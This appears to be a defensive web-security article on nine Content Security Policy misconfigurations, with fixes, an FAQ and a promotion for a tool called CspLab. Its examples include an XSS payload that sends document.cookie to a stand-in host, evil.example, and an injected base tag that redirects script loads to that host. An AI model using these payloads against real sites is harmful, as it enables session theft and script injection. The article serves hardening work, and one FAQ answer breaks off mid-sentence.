Nine CSP bypass patterns and the attacks they enable
In one line: unsafe-inline, wildcards, data:, blob:, http:, missing base-uri, sandbox escapes and nonce-less strict-dynamic: the combinations that defeat a policy.
CSP stops script injection. One wrong value, though, and injected script runs anyway. These are the patterns that appear most often in real audits.
1. 'unsafe-inline'
Inline <script> and handlers such as onclick run. With any injection point that reflects user input into HTML, <img src=x onerror="fetch('//evil.example/?c='+document.cookie)"> steals the session.
2. 'unsafe-eval'
eval(), new Function() and string setTimeout are allowed, so an injected string can become code. Some JSONP and template libraries rely on this path.
3. Wildcards
script-src * allows every host. *.example.com is also risky: one takeover, or a subdomain that hosts user content, is enough.
4. data: and blob:
data:text/javascript,alert(1) and runtime blob: URLs execute code with no file upload. With an injection point, even a 'self'-only policy can be bypassed.
5. http: (mixed content)
A plaintext origin can be rewritten by anyone on the same network — the hotel or airport Wi-Fi scenario. Without upgrade-insecure-requests, the browser sends it in the clear.
6. Missing base-uri
Without base-uri, an injected <base href="//evil.example/"> redirects every relative request. <script src="/app.js"> then loads from the attacker.
7. Missing object-src
Without object-src, <object> and <embed> can load external content, and the legacy plugin path can lead to script execution. One line, object-src 'none', closes it.
8. Sandbox escape combination
sandbox allow-scripts allow-same-origin lets the sandboxed document run script with its own origin, which effectively removes the sandbox.
9. nonce-less strict-dynamic
There is no root of trust, so scripts are blocked entirely, or the host list is ignored and the policy behaves unexpectedly. It is a common misconfiguration that shows up as an outage.
Summary
| Pattern | Effect | Instead |
|---|---|---|
'unsafe-inline' | Inline scripts run | nonce or hash |
'unsafe-eval' | String code runs | replace the parser |
* / *.example.com | Any host allowed | explicit hosts + nonce |
data: / blob: | Fileless code execution | 'self' + nonce |
http: | MITM injection | https: + upgrade |
no base-uri | Relative path hijack | base-uri 'none' |
no object-src | Plugin path | object-src 'none' |
| sandbox with two flags | Sandbox removed | keep only one |
| strict-dynamic alone | All blocked or neutered | pair with nonce |
CspLab rates every one of these as its own rule and shows which request breaks and what to change.
Paste the same policy into the tool to see the score and the directives to change.
Open CspLabFrequently asked questions
Does removing `'unsafe-inline'` break all inline styles too?
It is separate. `style-src` has its own `'unsafe-inline'`. You can move scripts to a nonce and keep styles, though styles are better moved to files or nonces too.
Is a CDN wildcard acceptable?
Not if that CDN hosts user uploads. An attacker can place a script there and bypass the policy. Confirm it only serves trusted static assets.
Does `object-src 'none'` break the PDF viewer?
The built-in PDF viewer is usually unaffected, but PDFs embedded with `
Sources
- Google — CSP Evaluator
- OWASP — Content Security Policy Cheat Sheet
- W3C — Content Security Policy Level 3
Keep reading
- CSP directive structure and default-src inheritanceHow a policy string splits into directives and sources, which directives inherit default-src, and what an empty value actually does.
- nonce, hash and strict-dynamic: allowing inline scripts safelyHow nonce and hash let you drop unsafe-inline without breaking inline scripts, how strict-dynamic disables the host allowlist, and the correct combinations.
- Rolling out a CSP with Report-Only and violation reportsHow Content-Security-Policy-Report-Only behaves, report-uri versus report-to, designing a collector, and the switch to enforcing.